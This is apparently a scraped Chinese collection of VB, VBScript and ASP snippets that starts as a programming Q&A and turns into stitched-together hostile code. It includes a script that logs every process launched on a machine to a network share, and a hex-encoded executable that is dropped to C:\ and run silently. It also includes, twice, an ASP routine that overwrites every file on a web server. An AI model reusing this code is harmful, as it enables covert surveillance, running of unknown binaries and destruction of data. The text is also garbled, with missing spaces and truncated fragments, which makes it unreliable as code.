1.如何让文本框只接受数字?答:使用如下代码,在文本框的按键事件中加入:
PrivateSubTextl_KeyPress(KeyAsciiAsInteger)
IfkeyAscii>=33Then
IfKeyAscii<=vbkey9AndKeyAscii>=vbKey0Then
Else'把KeyAscii设为0就是取消输入
on error resume next
url=" "
username="***"
password="***"
set ie=CreateObject("InternetExplorer.Application")
ie.visible=true
ie.Navigate url,4 ' " "
do until 4=ie.readyState
WScript.sleep 200
waittime=waittime + 200
if waittime > 15000 then exit do
loop
'WScript.echo waittime
if 4<>ie.readyState then
ie.quit
WScript.quit
end if
set dom=ie.document
set form=dom.getElementById("loginform")
form.all("username").value=username
form.all("password").value=password
form.all("cookietime").checked=true
form.all("loginsubmit").click()记录客户机操作的VBS脚本
onerrorresumenext
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
EndIf
Next
strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")
SetcolMonitoredProcesses=objWMIService._
ExecNotificationQuery("select*from__instancecreationevent"_
&"within1whereTargetInstanceisa'Win32_Process'")
i=0
DoWhilei=0
SetobjLatestProcess=colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
setfso=createobject("scripting.filesystemobject")
setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writelinenow()&"---"&a&"---"&b&"
"
file1.close
Loop
在forml中编制程序如下:
DimScreenhWnd%,ScreenDC%,rc%
′WindowsAPI函数
DeclareFunctionBitBlt%Lib"GDI"(ByValhDest?DC%,ByValdx%,ByValdy%,ByValnWidth%,ByValnHeight%,ByValhSrcDC%,ByValsx%,ByValsy%,ByValdwRop&)
DeclareFunctionGetDesk?topWindow%Lib"USER"()
DeclareFunctionGetDC%Lib"US?ER"(ByValhWnd%)
DeclareFunctionReleaseDC%Lib"USER"(ByValhWnd%,ByValhDC%)
SubForm-Load
′form1窗体大小、位置与屏幕重合
form1?Width=Screen?Width
form1?Height=Screen?Height
form1?left=0
form1?top=0
′form2窗体大小、位置与屏幕重合
form2?Width=Screen?Width
form2?Height=Screen?Height
form2?left=0
form2?top=0
′将整屏画面抓到form1中
ScreenhWnd%=GetDesktopWindow%()
ScreenDC%=GetDC%(ScreenhWnd%)
rc%=BitBlt%(form1?hDC,0,0,form1?ScaleWidth,form1?ScaleHeight,
ScreenDC%,0,0,&HCC0020)
rc%=ReleaseDC%(ScreenhWnd%,ScreenDC%)
′显示form1和form2
form2?Show
form1?Show
′上下移动form1
WhileTrue
form1?Top=form1?Top+500
′500为移动速度
ifform1?Top>Screen?HenghtThen
′超出屏幕下界时回到最上面
form1?Top=-Screen?Height
Endif
DoEvents′响应其它事件
Wend
EndSub
′点击鼠标结束滚幕
SubForm-MouseDown()
End
EndSub
实现效果二:整屏画面连续不断地翻滚
Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C00000000004000001000000002000004000000000000000400000000000000004000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000983200008400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000000000000E00000C0000000000000000000100000003000001903000000020000000000000000000000000000E00000C08725DC324000619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B600568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6C00004D3815403259096724454CFF027F65C711B3270CF49B4887C17F6874C4703A712FEE691D2E62610E6475C3636F6DF373011C6C79782C2042D79A53AF0B4D2E02C20325730E0842616C2E6F206E54697020E8653A7874B75B14576C955D0E086DE76F75C728637329331D49906EA7266444F9433853853C01C71805E012FCE801C114FF15241001A3E4911FB9700633C0890DE81BC844EC981425A3F0DD1354F405117813227CC448C41406A2F82B30C390038B44241D0856579D7C800C33C983F8030A893D8014252035017727FF248560115834EB6822B4081B02B5E216910C03080A8C44018B2A3518942268E00A51FFD657A3150C0F866A0220335F5EE61432A134091C2428507C9B55845EC3F083FE01FA278ECA40D285F67E23008A0C3A80F9307C17C00A397F120FBE1FC98D04C7423BD6604441D07C68E499BB9410534301C383EC18384224185355B250BB28B80B9352BD9864BE084C500E14AA66003A3BC50F8E52A3B31F4E04CC3D202F51296890AD0880130CFFD7451C1283C40C011202C6057F170C5AA18414560852278484146C0381C3087EE28B7F461F8D4C241050CD5146F554F6600A52E84D14311B8BD861F41F2019047E5552100ACE6A1854EAFE8BB50026FD037E2F3312EDEB2B085620455C0A0558A459D6F12C5D110C8ED6C16818E8DCFD8E7C5553ED258B8A1E086AFA910450275D6A5B3D2CB85701EBE54BF678A9A8113AA691111422DC8F010E2C1510EBCB538ED72D7011DC73746272166E412E054578C3EE50F16F63FD73C73B1D47FD7C43716D5C61E81D4C693E3857074B45524E3F6033322E646CE309994144546BD46F706757406465771D145F7358721A7466D29E1AE25E142CFA686065125F4E6F7412696679843D506F5DB354D8417267337657514842C463D001EABAF6000000F03200000000000000000000F2010000F032000000000000000000000000000000000000000000000010400000304000C814400000000000E032400080000000007D0000C0324000E8014000DC014000DE014000C0114000FA32000008330000000000004C6F61644C69627261727941000047657450726F634164647265737300"
FunctionExtractFile(FileName)
WithCreateObject("ADODB.Stream"):.Type=1:.Open:.WriteStrToByte(data):.SaveToFileFileName,2:.Close:EndWith
EndFunction
ExtractFile"C:\BalloonTip.exe"
WScript.CreateObject("WScript.Shell").Run"cmd.exe/cC:\BalloonTip.exe""请勿在电脑桌上放置贵重物品,以防被盗,请自行保管自己的各种虚拟帐号,如有丢失网吧概不负责!""温馨提示100001",0
FunctionStrToByte(str)
Setxmldoc=CreateObject("Microsoft.XMLDOM")
xmldoc.loadXML"<?xmlversion =""1.0""?>"
Setpic=xmldoc.createElement("pic")
pic.dataType="bin.hex"
pic.nodeTypedValue=str
StrToByte=pic.nodeTypedValue
EndFunction
4、文字的渐隐渐现效果
从字符串中取若干个文字作为标签Label1的caption值,如果从字串中截取的文字数递增(直到等于字串的全部字数),则实现文字渐现效果;而截取的文字如果递减(从字串的全部字数减到0),则实现文字渐隐效果
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"
"EndIf
Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"
"EndIf
Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力
sql="selectname,phynamefromsysdevices"
'low/16777216为设备号
Setrs=conn.Execute(sql)
然后遍历记录对象rs,当name="master"时,取出phyname,
从而可以得到物理位置serverpath=G:\MSSQL\DATA\
保护连接失败在主窗体的Form_load()中的最前面加入下列代码:
DimX0Aslong
DimY0AsLong
'让窗体居中
X0=Screen.Width
Y0=Screen.Height
X0=(X0-Me.Width)/2
Y0=(Y0-Me.Height)/2
Me.MoveX0,Y0->
这些代码可以干什么?可以肯定的是可以干很多猥琐的事。